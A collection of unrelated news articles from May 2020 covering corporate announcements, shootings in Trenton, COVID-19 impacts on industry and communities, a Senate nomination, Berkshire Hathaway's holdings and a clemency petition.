In a written determination, the Supreme Court, comprised of Mr Justice Donal O'Donnell, Mr Justice Peter Charleton and Ms Justice Mary Irvine, dismissed the Boyles' appeal.
MOLINE, Ill., May 21, 2020 (GLOBE NEWSWIRE) -- QCR Holdings, Inc. (QCRH) today announced the election of four Class III directors on May 20, 2020 at the Companys annual meeting of its stockholders.



Three of the directors, James M. Field, Timothy B. OReilly and Marie Z. Ziegler, were re-elected to three-year terms. Elizabeth Libby S. Jacobs, President of The Jacobs Group, LLC, a Des Moines-based consulting firm specializing in the energy and regulated utilities industries, was also elected as a new independent director to the Company.

Libby is a proven leader with a diverse business, community relations and public policy background, and she brings a wealth of knowledge and perspective to our board, said Larry Helling, CEO of QCR Holdings. In addition to founding and running her own consultancy, we have great confidence that her counsel and expertise will prove tremendous assets for QCR Holdings.

Ms. Jacobs currently serves on the board of Community State Bank, a wholly owned QCR Holding subsidiary based in Ankeny, Iowa that serves the Ankeny and Des Moines markets. She formerly served on the Iowa Utilities Board, including four years as Chair. Previously, she had a 20-year career with the Principal Financial Group, serving as Community Relations Director for the last 14 years with the company. In addition, Ms. Jacobs served seven terms in the Iowa House of Representatives, and was elected by her peers to serve seven years as Majority Whip. She also currently is Chair of the Mid-Iowa Health Foundation Board of Directors and serves on the Board of Directors of Goodwill Industries of Central Iowa and Taxpayers Association of Central Iowa.

Additionally, on May 19, 2020, the Companys board of directors declared a cash dividend of $0.06 per share payable on July 8, 2020, to holders of common stock of the Company of record on June 19, 2020.

About Us

QCR Holdings, Inc., headquartered in Moline, Illinois, is a relationship-driven, multi-bank holding company serving the Quad Cities, Cedar Rapids, Cedar Valley, Des Moines/Ankeny, and Springfield communities through its wholly owned subsidiary banks. The banks provide full-service commercial and consumer banking and trust and wealth management services. Quad City Bank & Trust Company, based in Bettendorf, Iowa, commenced operations in 1994, Cedar Rapids Bank & Trust Company, based in Cedar Rapids, Iowa, commenced operations in 2001, Community State Bank, based in Ankeny, Iowa, was acquired by the Company in 2016, and Springfield First Community Bank, based in Springfield, Missouri, was acquired by the Company in 2018. Additionally, the Company serves the Waterloo/Cedar Falls, Iowa community through Community Bank & Trust, a division of Cedar Rapids Bank & Trust Company. Quad City Bank & Trust Company engages in commercial leasing through its wholly owned subsidiary, m2 Lease Funds, LLC, based in Milwaukee, Wisconsin, and also provides correspondent banking services. The Company has 25 locations in Illinois, Iowa, Wisconsin and Missouri. As of March 31, 2020, the Company had approximately $5.2 billion in assets, $3.7 billion in loans and $4.2 billion in deposits. For additional information, please visit the Companys website at www.qcrh.com.

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Another person was killed in Trenton Thursday  the fourth fatal shooting in less than a week  as violence continued to course through New Jerseys capital, authorities said.

At 4:17 p.m. Thursday, a man was shot and killed on the 900 block of Parkside Avenue, said Trenton Police Lt. Jason Kmiec. Police had responded to a report of multiple shots fired and arrived at the scene to find a Jeep Commander with its hood up and lights flashing, and two victims with multiple gunshot wounds, Mercer County Prosecutors Office spokesperson Casey Deblasio said in a statement.

The man who died was later identified by the prosecutors office as Raheen McKinnon, 19, of Hamilton. McKinnon had suffered multiple gunshot wounds throughout his upper body, to his armpit, arms, legs and back, the prosecutors office said. McKinnon was taken to Capital Health Regional Medical Center, where he was pronounced dead.

Another person, a 17-year-old boy from Trenton suffered gunshot wounds to the neck and thigh. He was also taken to the hospital and remains in critical condition as of late Friday morning, the prosecutors office said.

Since Saturday, four people have been killed in bursts of gun violence across the city, with one shooting Saturday and two more shootings Monday.

On Monday morning in South Trenton, on Daymond Street, homicide detectives investigated the shooting death of Antwuan Bowens, 44. Bowens had been shot dead at around 9 a.m. Monday. Just two days earlier, police responded to the same street when another shooting left two men wounded and killed 38-year-old Robert Smith.

At around 12:30 a.m. Monday, Tayvion Jones, 18, was shot and killed outside his Oakland Street home. Later that same day, Mercer County Prosecutor Angelo Onofri said a murder charge had been filed against Horace Jones, 34, for allegedly killing Tayvion Jones.

Trenton police arrested the suspect in the area shortly after the shooting, the prosecutors office said. The suspect and victim are not related.

Meanwhile, the city of about 80,000 remains in a state of unrest. On Monday, Mayor Reed Gusciora announced that an 8 p.m. curfew implemented last month would continue, after violence continued to pervade the city streets. The curfew had initially been put in place April 6, after a weekend that included one night of shootings that left three dead and four wounded.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription.

Rodrigo Torrejon may be reached at rtorrejon@njadvancemedia.com.
World's largest automobile component manufacturer Bosch on Friday said the Indian automobile industry may take up to six years to get back to peak volume levels of 2018-19 and needs incentives from the government to recover faster.

While announcing its financial results for fiscal 2020, Bosch Ltd said it has so far managed the downturn well but foresees a very difficult and challenging year in 2020-21 when demand may contract by up to 30 per cent. Sales in automobile industry in 2019-20 had contracted by 17 per cent, the worst in over two decades.

"This is the most challenging time we will ever see in our lifetimes," said Soumitra Bhattacharya, managing director, Bosch India. "In the near term, the situation will be very painful but in the medium term I anticipate a quick rebound for India as well as for our company while in the long term this remains one of the markets to be in."

ALSO READ: Stimulus package has done nothing to spur demand, says Maruti's Bhargava

The government's mega Rs 20 lakh crore economic relief package that was announced last week largely ignored the interests of the automobile industry. It did not even have enough demand-inducing measures which would have helped consumer-facing sectors. Bhattacharya said the industry is expecting some help by way of a GST reduction and scrappage policy for old vehicles. Taxation in the industry is one of the highest in the world and a car is taxed anywhere between a minimum 29 per cent to around 50 per cent.

"We were struggling even before COVID-19 hit us. We were losing about three-four years due to the slowdown in terms of industry volumes," he said. "Now you can add another one-two years to that. So, we are looking at well beyond 2024 for a full recovery. All of that of course changes if government acts fast and announces some sops for the industry or if GDP grows really fast. They should as automobile industry is a huge employment generator."

For 2019-20, Bosch registered a 18.6 per cent decline in revenue at Rs 9,842 crore while profit before tax (PBT) from continuing operations and before exceptional items declined by 29.9 per cent to Rs 1,636 crore. Profit After Tax (PAT) from continuing operations stood at Rs 730 crore before exceptional tax items. The impact of deferred tax assets, due to exercising the option of a concessional tax rate of 22 per cent plus applicable surcharge and cess for domestic companies has been defined as an exceptional item.

During the FY 2019-20, the company has made a provision of Rs 717 crore, towards various restructuring, reskilling and redeployment initiatives. "These provisions are in line with the company's transformation initiatives and has been made to capitalise on opportunities emerging in electromobility and other mobility related projects," it said in a statement.

ALSO READ: Hyundai ambushes Honda with new Verna as arch rival City's launch held up

During the year, the company's capital expenditure stood at Rs 399 crore with major spend on expansion of its Bidadi plant and Adugodi campus.

"We have been spending at an average Rs 350-500 crore every year but this year we are deferring all non-essential spends," Bhattacharya said. "So you can say capex would be 40-50 per cent less."

The company said it would not lay off or cut salaries of its employees but there maybe some "redefining" of role for some. On the issue of reverse migration of labour force that is happening across the country, Bosch said it does not impact the company directly but may play out at some of its vendors, which could then have an impact.

"We do not employ any migrant worker directly and even our level of contractual workers is quite low. So this has no impact on us directly," Bhattacharya said. "But our supply chain is facing this problem, yet this is not our most important challenge right now."

Bosch Limited's largest business vertical, mobility declined 24.4 per cent in 2019-20 with domestic sales declining by 25.9 per cent and export sales by 6.1 per cent. Within the mobility segment, the powertrain solutions business registered a decline of 30.2 per cent owing to low performing automotive market. Business beyond mobility solutions recorded a decline of 14.4 per cent.

ALSO READ: Coronavirus crisis: Skoda Auto Volkswagen resumes production at Aurangabad unit with limited staff
The Federal Treasury has admitted a "significant error" in the Morrison government's JobKeeper application form has greatly inflated the number of people using the scheme and its total cost.

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In a statement released on its website, the department revealed the $130 billion program - the centrepiece of the government's response to the coronavirus pandemic - was likely to cost $70 billion and cover 3.5 million workers, rather than more than 6 million.

It said a tax office review of the enrolment forms used by businesses to apply for the scheme had found about 1000 firms had made "significant errors" when estimating the number of staff who would use the program.

Read the full story here.
Big-name Philadelphia music acts, celebrities, and athletes banded together for COVID-19 relief on Thursday night on PHLove, a fast-paced fundraiser that called for unity in the fight against the coronavirus and for more attention be paid to the citys most vulnerable residents.

The hour-long show, which was broadcast on several local TV and radio stations as well as being streamed on Inquirer.com, opened with an introduction by Phillies owner John Middleton and his wife, Leigh, then immediately got down to business with a performance by Daryl Hall.

The Pottstown native was scheduled to play with his musical partner, John Oates, in their Hoagie Nation festival Saturday at the Mann Center. That show was postponed due to the pandemic and is now scheduled for Sept. 4.

Seated at a keyboard in his home studio, Hall sang Im In a Philly Mood, a low-key soul ballad that name-checked Teddy Pendergrass.

That set the tone for an evening in which Philly musicians paid respect to other Philly musicians while urging viewers and listeners to give to the PHL COVID-19 Fund, which has raised $16 million since March and given more than $13 million in grants to 380 nonprofits in the region.

The funds goal, as Roots drummer Ahmir Questlove Thompson put it, is to help out our seniors, and people who are battling hunger, homelessness, and addiction.

Questlove served as a combination of DJ and host throughout the show. Calling himself a true-blue Philadelphian, he stressed his readiness any time my city throws up the Bat Signal.

He also put on a master-class tour through the citys rich music history in two mini-sets in which he played snippets of songs by the Stylistics, Chubby Checker, Meek Mill, Grover Washington Jr., William DeVaughan, Jimmy Heath, Todd Rundgren, Mtume, Schoolly D, and the Dovells.

Athletes and other celebs showed up to praise and profile front-line workers. Phillies star Bryce Harper encouraged quarantined Philadelphians to hang in there and keep the faith.

The luminaries included brothers Kevin and Michael Bacon, Bobby Rydell, Jerry the Geator Blavat, Instagram motivational speaker Wallace Peeples (Wallo267), the 76ers Josh Richardson, new Phillies manager Joe Girardi, ex-Phillie Shane Victorino, and country star Tim McGraw, whose father, Tug, played for the 1980 World Series champs.

The musical performances were uniformly strong.

Amos Lee hit all the high notes with his cover of Eddie Holmans Hey There Lonely Girl. Jay Buchanan of Rival Sons turned in a slowed-down solo acoustic version of Billy Pauls Me and Mrs. Jones, lingering on the lyric We gotta be extra careful that resonates in these anxious times.

Jeffrey Gaines had the most clever and visually appealing social distancing strategy, performing his To Be Free atop the Art Museum steps.

Patti LaBelle staged an impressive Zoom performance as the powerful centerpiece of an eight-piece virtual ensemble for an inspirational take on Sam Cookes civil rights anthem, A Change Is Gonna Come.

And the show closed with a rousing gospel finale, sung by a choir led by Pastor Alyn Walker and Fresh Anointing of Enon Tabernacle Baptist Church of Germantown.

For information on how to donate to the PHL COVID-19 Fund, go to phlcovid19fund.org. The fund was created by the City of Philadelphia, Philadelphia Foundation, and the United Way of Greater Philadelphia and Southern New Jersey. The Inquirer is owned by the Lenfest Institute for Journalism, which operates under the auspices of Philadelphia Foundation.
Natalie Roser recently celebrated her three-year anniversary with her actor boyfriend, Harley Bonner.

And on Thursday, the couple were spotted moving into their new Sydney apartment.

Bikini model Natalie, 30, showed off her trim figure in activewear as she and Harley hauled furniture and belongings into their Rose Bay pad.

Moving day! Natalie Roser showed off her trim figure in activewear on Thursday as she and her Neighbours star boyfriend Harley Bonner moved into their new Rose Bay apartment

The blonde bombshell wore a pair of metallic leggings and a black Guess jumper.

Natalie skipped the makeup for moving day, and wore her long locks back and off her face in a high ponytail.

Harley - who is the son of Neighbours star Carla Bonner - kept it casual in a dark pair of jeans and a long sleeve black top.

Boring chore: Harley - who is the son of Neighbours star Carla Bonner - kept it casual in a dark pair of jeans and a long sleeve black top

A helping hand: Natalie's father Neil was seen helping the couple move into their new place, carrying utensils and even lifting a mattress

Natalie's father Neil was seen helping the couple move into their new place, carrying utensils and even lifting a mattress.

Natalie and Harley, 29, have been living together for years and in moved to Los Angeles in May 2018. They recently returned.

Back in February the pair celebrated their three-year anniversary.

Going strong: Natalie and Harley, 29, have been living together for years and in moved to Los Angeles in May 2018. They recently returned

Milestone: Back in February the pair celebrated their three-year anniversary

At the time, Natalie shared a gushing tribute to her boyfriend and thanked the former Neighbours star for making her 'real life fairy tale' come true.

'Creating my real life fairy tale from the very first moment we met. Three years of more love than I ever thought possible,' she wrote.

She went on to say she was thankful that he came into her life.

'Forever grateful for everything that lead me to you. I love you endlessly, my Harley Bonner,' she finished.

So in love! At the time, Natalie shared a gushing tribute to her man and thanked the former Neighbours star for making her 'real life fairy tale' come true

Harley also gushed over gorgeous Natalie, who he called 'my precious darling sweetheart' and his 'endless inspiration.'

'Your warmth shines bright on a life already full of light. And somehow you're still FREEZING cold at night!' he wrote lovingly.

'Happy three years, my girl. To the honeymoon phase with no end in sight - How could I possibly love you more? I guess I'll find out in the morning.- Your Harley Bonner.'

The couple are believed to have started dating in 2017, shortly after Natalie ended her engagement to personal trainer Dan Adair.
(Alliance News) - Ryanair Holdings PLC subsidiary Lauda is to close its base at Vienna's airport following a dispute with a trade union, the company said on Friday.

Some 300 jobs will be affected, the airline said. It had recently given the Vida union an ultimatum to sign a new collective agreement with significant wage cuts for employees due to the coronavirus crisis.

As the union refused, the base will be closed on May 29, the statement said.

"In a shameful way, the union Vida ignored the wishes of more than 95% of the pilots and 70% of the cabin crew at Lauda's A320 base in Vienna and destroyed more than 300 well-paid jobs," Lauda bosses Andreas Gruber and David O'Brien were quoted as saying.

Vida on the other hand described Ryanair and Austria's Economic Chamber as "gravediggers" of living wages. The chamber had spoken out in favour of signing the wage deal.

According to the airline, the new agreement would have given junior cabin crew an average annual income of EUR24,450, a captain would have earned about EUR117,000.

The Vienna base is by far the largest base of the Ryanair subsidiary, which currently has a fleet of 26 aircraft. The aircraft are grounded due to the virus pandemic.

source: dpa

Copyright 2020 Alliance News Limited. All Rights Reserved.
In yet another case of COVID-19 infection in a major auto plant, Toyota reported that a worker at its giant Georgetown, Kentucky auto plant has tested positive for the disease. This week, workers also tested positive for COVID-19 at auto plants in Michigan, Illinois and Indiana.

The Toyota worker, employed by an outside contractor, was last on-site on May 14. Despite the positive test result, Toyota has not shut down the plant to perform cleaning, let alone quarantine workers who may have been in contact with the employee.

Toyota spokesman Rick Hesterberg reported: The affected employee will remain in self isolation, and will not return to work until cleared by a physician. The health and safety of our team members, business partners and community are a top priority. We are working with state and local health officials on this issue and will continue to follow their guidance on all proper protocols.

Workers assemble Ford trucks at the Ford Kentucky Truck Plant in Louisville, KY (AP Photo/Timothy D. Easley)

The plant resumed operation on May 11, after 5 weeks of shutdown, meaning the employee may have unknowingly spread the disease for 4 days, transmitting it to other workers, with it now possibly spreading silently among the 10,000 workers employed there.

The nature of the disease is such that a person can be infected and contagious for days without showing symptoms. This means that an infected worker in a factory that employs thousands, working close to one another, touching and using the same equipment and breathing the same recirculated air, is in an environment that can promote the rapid spread of the disease. This has already been demonstrated by the thousands of cases reported at meatpacking plants.

In the absence of testing, it is likely that many more infected workers are in the auto plants, unaware that they are carriers.

This has not stopped auto companies from rushing ahead to restart production. As the pandemic claims thousands of lives every week, the auto corporations, with the full backing of the government and unions, are demanding a return to work, placing profits over the safety of workers and their families.

On Tuesday morning, hundreds of workers were sent home from Ford Chicago Assembly Plant (CAP) after two workers tested positive for COVID-19.

On Wednesday afternoon, a Ford Dearborn Truck Plant worker tested positive for COVID-19, forcing Ford to temporarily shut down its plant in suburban Detroit. As at Toyota, the worker was sent home to self-quarantine for 14 days after having worked 10-hour shifts on Monday and Tuesday in the plants chassis department after coming into contact with an unknown number of workers and union representatives. The Dearborn Truck Plant is the second Ford facility to close this week, only days after the auto corporations forced tens of thousands of workers back into the plants after an eight-week shutdown. Both management and the United Auto Workers sought to convince workers the factory protocols have made the plants safe.

Also on Wednesday, a worker tested positive for COVID-19 at the Lear Corporation plant in Hammond, Indiana, which supplies seats to the Chicago Ford plant, leading to the temporary shutdown of the facility. Additionally, while not confirmed, workers at the Magna Seating plant in Detroit, which supplies Fiat Chrysler, also reported positive cases at their plant. Moreover, workers reported on Facebook of positive cases at the FCA Toledo Jeep plant and that some workers were sent home.

As their coworkers succumb to the deadly disease, autoworkers have expressed their outrage at being forced to work under unsafe conditions. Many have taken to social media to condemn the unsanitary conditions and have been sending in emails and photographs to the World Socialist Web Site Autoworker Newsletter. A growing nervousness prevails among auto bosses, knowing the back-to-work order under conditions of the continuing unchecked spread of the coronavirus will inevitably fuel social opposition. In mid-March, the auto industry was forced to shut down after workers walked out and carried out job actions to protest the unsafe working conditions amid the spread of COVID-19.

A Ford CAP worker in the trim department said of the conditions Wednesday night: It's terrible. Somebody threw up on the production floor. The plant that makes the seats [Lear] had a COVID-19 carrier, so those workers all left. Managers knew about this situation and continued to run production. We were supposed to leave at 12 but didnt leave until 4:30. They let other workers leave and made a specific group stay.

Another CAP worker told the Autoworker Newsletter, Neither the UAW nor Ford have given me any information regarding this virus; I have to find it myself.

Ford said that they are cleaning, but I didnt see anyone cleaning anything. The union health and safety rep on night thinks that members should just shut up and come to work without complaining because if they dont, Ford would just lock the doors. Its by design that workers pay with our lives. You can lie on your daily tests and no one knows. Ford should test everyone before going back to work by a virus test from a medical clinic with proof you had the test done.

Fearful of new walkouts and job actions, the auto bosses have attempted various public relations maneuvers. Ford CEO Jim Hackett, Executive Chairman Bill Ford Jr., and UAW Vice President Gerald Kariem toured the Ford Dearborn Plant on Wednesday. According to a Ford statement, the tour was to observe firsthand the robust safety measures Ford has put in place to help support a safe and healthy environment for the companys workforce. One wonders if the tour extended beyond the entrance of the plant.

Wednesday, GM CEO Mary Barra was slated to do a similar public relations stunt with UAW officials at the Delta Township plant near Lansing.

The auto companies, backed by Wall Street and the Trump administration, will do nothing to prevent workers from continuing to get sick and die. The back-to-work movement expresses the irreconcilable conflict between the insatiable profit drive of the corporations and the health and safety of workers. Workers must organize to prevent their lives being sacrificed on the altar of corporate profit.

Yesterday, the WSWS published the statement Build rank-and-file factory and workplace committees to prevent transmission of the COVID-19 virus and save lives!

It states: This is why workers require their own organizations. In every factory, workplace, and office, workers should organize and elect trusted and respected workers who will represent them. They should utilize all available tools, including social media, to reach out to workers throughout their industry and in other sectors to coordinate their activities and share information.

We urge autoworkers to read and discuss our statement. Contact the World Socialist Website Autoworker Newsletter for more information.


The coronavirus pandemic can be especially difficult for older adults who live alone. To help support them, some American communities and groups have set up services aimed at meeting their needs for human contact and small talk.

The city of Plano, Texas offers such a program. A group of about 15 city government workers reach out to Planos elderly individuals by telephone. Now, some residents look forward to getting phone calls from total strangers.

The idea of getting calls from a stranger - just to chat - was immediately appealing to 81-year-old Dell Kaplan. It gets pretty lonely here by yourself, she told The Associated Press.

Older individuals are more likely than other age groups to get infected with and die from COVID-19, the disease resulting from the coronavirus. Because of this, health officials have urged people over 65 to keep staying home even as some areas begin lifting restrictions aimed at slowing the spread of the virus.

Kaplan enjoys the chats while missing out on family get-togethers, dining with friends and attending classes at a nearby college.

Holly Ryckman is one of the government workers taking part in the program. Together they make about 50 calls a week to Planos elderly residents. Its really just to give them a social outlet that they might not have otherwise, she said.

Ryckman noted that people receiving the calls have differing amounts of social contact in their lives. Some like to talk about family members who are keeping in touch. That is the case for Kaplan, who said she often speaks on the phone with family members and friends, and also keeps up with people on Facebook.

But Kaplan said her bi-weekly chats with Ryckman give her something to look forward to besides the usual.

Brent Bloechle helped organize Planos program. He says the city plans to keep it operating at least through mid-summer, and maybe permanently.

Another project providing free calls to elderly Americans is the Friendly Voices program. It is a service of AARP, an organization representing the interests of older Americans.

Laurie Onofrio-Collier has been placing calls from her home in California to people across the country. She says her goal for each call is to help the other person feel uplifted, to feel good.

Like the Plano program, Friendly Voices volunteers help guide people to resources and local groups if they need help with getting food or other necessities. But the main goal of the project is to provide a social connection.

Onofrio-Collier said the adults she has spoken with talk about a lot of things, from personal interests to happy memories. She connected with one caller over a shared experience. We ended up talking about how ... when we were kids, we loved to read so much that we would read under the covers with a flashlight.

I get off the phone with a smile, she said. Onofrio-Collier is among about 1,000 volunteers making the calls, notes Andy Miller, who works with AARP. He said some people ask for help with technology so they can stay connected with family members.

One volunteer helped a woman learn how to play a game of checkers online with her grandchild. Were seeing a lot of that -- where people are just trying to stay connected to family in ways that they probably didnt do before, Miller said.

Im Bryan Lynn.

The Associated Press reported this story. Bryan Lynn adapted the report for VOA Learning English. George Grow was the editor.

We want to hear from you. Write to us in the Comments section, and visit our Facebook page.

________________________________________________________________

Words in This Story

pandemic  n. a disease spreading over a wide area and affecting a high percentage of the population

chat  v. to talk with someone in a friendly, unstructured way

outlet  n. a way for someone to express an emotion, idea or ability

uplift  v. to make someone happy or hopeful

kids  n. children
WASHINGTON - The Senate Foreign Relations Committee on Thursday advanced the nomination of a Trump administration pick - whose nonprofit organization is being investigated for possible tax violations - to lead a federal media agency with oversight of a news service that has come under increasing criticism from President Donald Trump.

The 12-10 party-line vote came after testy debate among senators over the propriety of voting on Michael Pack's nomination to lead the U.S. Agency for Global Media while his organization is being scrutinized by the District of Columbia's attorney general. At one point, the committee went into a closed session at the request of Democrats so senators could speak about the nomination privately. The agency oversees Voice of America and other government funded news outlets.

Committee Chairman James Risch, R-Idaho, said he would have delayed the vote on Pack's nomination if he had been ask to do so by the Justice Department due to any investigation.

"This is a particularly partisan matter," Risch said. "We are going to consider the nomination of Michael Pack, which has been pending for just shy of two years, and the chairman believes it's time to move forward on this."

Democratic senators have vigorously protested the nomination of Pack to the normally obscure post, in which the president has taken a particular interest as his administration steps up its criticism of Voice of America. The news agency is federally funded but operates independently, yet the White House has accused the outlet of promoting Chinese government propaganda in its coronavirus coverage and threatened to bar its White House bureau chief from traveling on Air Force Two.

Voice of America has defended its journalistic independence and categorically denied favoritism. And the threat to ban Steve Herman from traveling with Vice President Mike Pence appeared to be short-lived; Herman accompanied Pence on his trip to Orlando this week. Pence's aides had threatened to retaliate against Herman after he revealed that the vice president's office had told journalists they would need masks for the Pence's visit to the Mayo Clinic last month. Pence did not wear a mask.

The tax issues faced by Pack, a conservative filmmaker with ties to former Trump strategist Steve Bannon, stem from his nonprofit, Public Media Lab. CNBC reported in September that at least $1.6 million in donations from his nonprofit were sent to his independent production company, Manifold Productions.

The D.C. attorney general is now investigating whether use of the funds from Pack's nonprofit was unlawful and improper, according to committee Democrats and the attorney general's office. Pack's confirmation was scheduled for a committee vote last week until the disclosure of the investigation delayed it.

The attorney general's office, led by Karl Racine, a Democrat, has requested documents related to Pack from the committee. Risch said it would be given access to documents that are already public, and that the committee would confer with Senate counsel when it comes to nonpublic documents.

Sen. Robert Menendez of New Jersey, the committee's ranking Democrat, questioned why senators were voting on a nominee who Menendez said had not been honest with the committee about his tax issues and whose organization is under investigation.

"I ask my colleagues on both sides of the aisle, why are we doing this?" Menendez said. "Is this really the person you want running a U.S. government agency with a budget of almost a billion dollars? And what does this say to the American people?"

The nomination now goes to the full Senate for consideration.
Ghaziabad, May 22 : The total COVID-19 cases in the Ghaziabad district have crossed 200-mark and the urban areas of the district have been classified as 'red zone', the district administration said on Friday.

In a tweet on Friday, DM Ghaziabad said the total cases stood at 202, with 163 people cured. At least 37 cases were active.

As per the health report of the district, there are 18 hotspots and the "entire urban area" of the district was marked as a red zone.

Later in the day, the administration will issue a fresh set of guidelines for the district, the DM added.

The health report of the district issued on May 20 said there were 196 cases and 15 red zones in the district while three orange zones. "Entire Ghaziabad is a green zone," the DM said on May 20.

However, after the directions issued from the Uttar Pradesh government, the urban areas of the district were made red zones.

The government has also listed the urban areas of Gautam Budh Nagar, Meerut, Agra and Kanpur City under the red zone.

As per the UP government's direction, all the districts where cases were not reported in the last 21 days were made green zones. The districts not in green or red zones have been marked as orange.

According to the Union Health Ministry, district Ghaziabad was declared in the Orange Zone on May 1.

"With the commitment to fight COVID-19 and strict adherence to all the existing Protocols, Ghaziabad is determined to move in the green zone very soon," the DM Ghaziabad tweeted on May 1.

However, after 21 days, the urban areas of the district -- Kaushambi, Vaishali, Indirapuram, Vasundhra, Sahibabad, Raj Naga, and Kavi Nagar among others -- were made red zones.
According to top 10 holdings statistics, a Premium feature of GuruFocus, the top five holdings of Warren Buffett (Trades, Portfolio)'s Berkshire Hathaway Inc. (NYSE:BRK.A)(NYSE:BRK.B) as of the March quarter-end were Apple Inc. (NASDAQ:AAPL), Bank of America Corp. (NYSE:BAC), Coca-Cola Co. (NYSE:KO), American Express Co. (NYSE:AXP) and Wells Fargo & Co. (NYSE:WFC).





Commonly known as the "Oracle of Omaha," Buffett studied under the legendary Benjamin Graham at Columbia University. The CEO of Berkshire took the textile company and transformed it into conglomerate with a market cap over $425 billion.

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Buffett reassured investors at his shareholder meeting earlier this month that "nothing can stop America": The "American miracle" has prevailed during tough times like World War II, the Cuban missile crisis, the Sept. 11, 2001 attacks and the 2008 financial crisis. His conglomerate seeks companies that have understandable businesses, with favorable long-term prospects, operated by competent management and available at attractive prices.

As of the quarter-end, Berkshire's $175.53 billion equity portfolio contains 50 stocks, with the top five holdings occupying 69.46% of the portfolio and the top10 holdings occupying 84.23% of the portfolio. The top three sectors in terms of weight are financial services, technology and consumer defensive, with weights of 37%, 37.01% and 15.74%.

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The following video explores how to access and read information on Buffett's guru pages, including the current portfolio and sector weightings pages.

Apple

Berkshire owns 245,155,566 shares of Apple as of March 31. While the conglomerate made no change to its holding, the Cupertino, California-based tech giant occupies 35.52% of the equity portfolio, up from the December 2019 weight of 29.74%.

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Figure 1 illustrates the top sections of Apple's summary page, which includes some basic fundamentals, a valuation chart, a price chart and information on Apple's financial strength, profitability and relative valuation.

Figure 1

As we can see, Apple has a profitability rank of 10 out of 10, driven by several strong investing signs, which include a 4.5-star business predictability rank, a high Piotroski F-score of 8 and profit margins and returns outperforming over 96% of global competitors. Notice how the color bars in the "Profitability" section are green, indicating positive investing signs.

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Despite high profitability, Apple's valuation ranks 1 out of 10 on several signs of overvaluation, which include price-book and price-sales ratios close to 10-year highs and underperforming over 87% of global competitors. In other words, at least 87% of global consumer electronics companies have price valuations that are lower, and thus more attractive than that of Apple's. The red bars indicate warning signs, i.e., red flags.

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Bank of America

Berkshire owns 925,008,600 shares of Bank of America, dedicating 11.19% of the equity portfolio to the holding.

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The Charlotte-based bank operates four businesses: consumer banking, global wealth and investment management, global banking and global markets. GuruFocus ranks Bank of America's financial strength 3 out of 10 on the back of debt ratios underperforming 67.46% of global competitors, suggesting high financial leverage. The website warns that Bank of America has increased its long-term debt by $9.8 billion over the past three years.

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Coca-Cola

Berkshire owns 400 million shares of Coca-Cola, giving the position 10.08% weight in the equity portfolio.

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GuruFocus ranks the Atlanta-based beverage giant's profitability 8 out of 10 on several positive investing signs, which include expanding operating margins and returns that are outperforming over 83% of global competitors. Despite this, revenues have declined approximately 3.4% per year on average over the past three years, a rate that underperforms 74.44% of global non-alcoholic beverage companies.

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American Express

Berkshire owns 151,610,700 shares of American Express, giving the position 7.39% weight in the equity portfolio.

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The New York-based company operates three credit service businesses: global consumer services, global commercial services and global merchant and network services. According to GuruFocus, American Express' equity-to-asset ratio of 0.11 underperforms over 86% of global competitors, suggesting high leverage. Despite this, American Express' cash-to-debt ratio of 0.64 outperforms 64.8% of global credit service companies.

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Wells Fargo

Berkshire owns 323,212,918 shares of Wells Fargo, giving the position 5.28% weight in the equity portfolio.

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GuruFocus ranks the San Francisco-based bank's financial strength 3 out of 10 on the heels of cash-to-debt and debt-to-equity ratios underperforming over 65% of global competitors.

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Disclosure: The author is long Apple as of this writing. The discussion of stocks in this article reflects Berkshire's holdings as of the March filing and does not consider any trades Buffett's conglomerate might have made during April or May.

Read more here:

Bruce Berkowitz Buys Buffett's Berkshire and Kraft Heinz in the 1st Quarter

Video: Warren Buffett's Market Indicator Rises Above 130%

Warren Buffett's Apple Falls as Company Skips June-Quarter Guidance







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This article first appeared on GuruFocus.






A Change.org petition urges the release of Patricia Wright, an incarcerated grandmother with multiple health issues. (Change.org)

Amid reports of prominent convicts being granted their Get Out of Jail Free card due to the coronavirus pandemic  including President Trumps former campaign chairman Paul Manafort, former FBI agent Ben Tran, rapper Tekashi 6ix9ine and, just this week, Trumps former personal attorney Michael Cohen  a long-running campaign to release a terminally ill grandmother from her current life sentence appears to be gaining new traction.

Patricia Wright was convicted 23 years ago for the 1981 murder of her ex-husband and alleged assailant, Jerome Scott. She has maintained her innocence for more than two decades, while those who support her  especially her sister Chantel Bonet  have spoken out in her defense. Now Bonets Change.org petition, created nearly a year ago with the help of the California Coalition for Women Prisoners (CCWP) but recently updated to reflect concerns over COVID-19, has jumped from 1,200 to nearly 60,000 signatures.

Patricia Wright is a 68-year-old Black mother and grandmother and a survivor of domestic violence who is serving Life Without the Possibility of Parole (LWOP), the petition, addressed to California Gov. Gavin Newsom, begins. She has been incarcerated for 23 years and is currently at the California Institution for Women (CIW), where she lives in the Honor Unit. Patricia is battling a recurrence of stage III ovarian cancer and is at extremely high risk for infection and death from COVID-19 as she undergoes chemotherapy. Her doctor says she has 6-12 months to live, even if she is not infected by COVID-19. We call on Governor Newsom to show mercy and compassion to Patricia by granting her request for commutation and immediate release, allowing her to spend her remaining months with her loving family.

Michael Cohen returning to his New York City residence after his release from prison on Thursday. (Gotham/Getty Images)

Bonet, in an interview with Yahoo Life, says shes been increasingly troubled by seeing who gets released from prison due to COVID-19 risk and who does not. When I see someone get released [due to old age or COVID-19 concerns], I cant help but to compare their cases, she tells Yahoo Life, adding that the family has lost two members to COVID-19 in recent weeks. My sister is almost 69. From a human perspective, what makes her so different from them? She sometimes calls me crying because she only has but so long left to live and watching other people go home is beginning to bother me. According to some reports, even Lori Loughlin could be next in line for a coronavirus-related reduced sentence.

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Now Bonet and others are calling out the inconsistencies in deciding who does and does not get to finish out a sentence at home.

According to the Marshall Project, which obtained data from the Federal Bureau of Prisons and from Congress, as of late April, the number of people allowed to serve the rest of their sentence in home confinement went up by only 1,027 under the new guidance set out by the attorney general  about half of one percent of the more than 174,000 people in the bureaus custody at the start of the month. Thats despite U.S. Attorney General William Barrs April 3 letter ordering federal prison officials to immediately maximize releases, focusing on the most medically vulnerable.

The Marshall Project explains that even with the emergency releases granted [in April], the total federal prison population has gone down by about 3,400 people. That reduction includes people whose sentences were routinely ending [that] month, though the bureau data did not specify that number. Last year, the bureau released about 3,700 people on average every month.

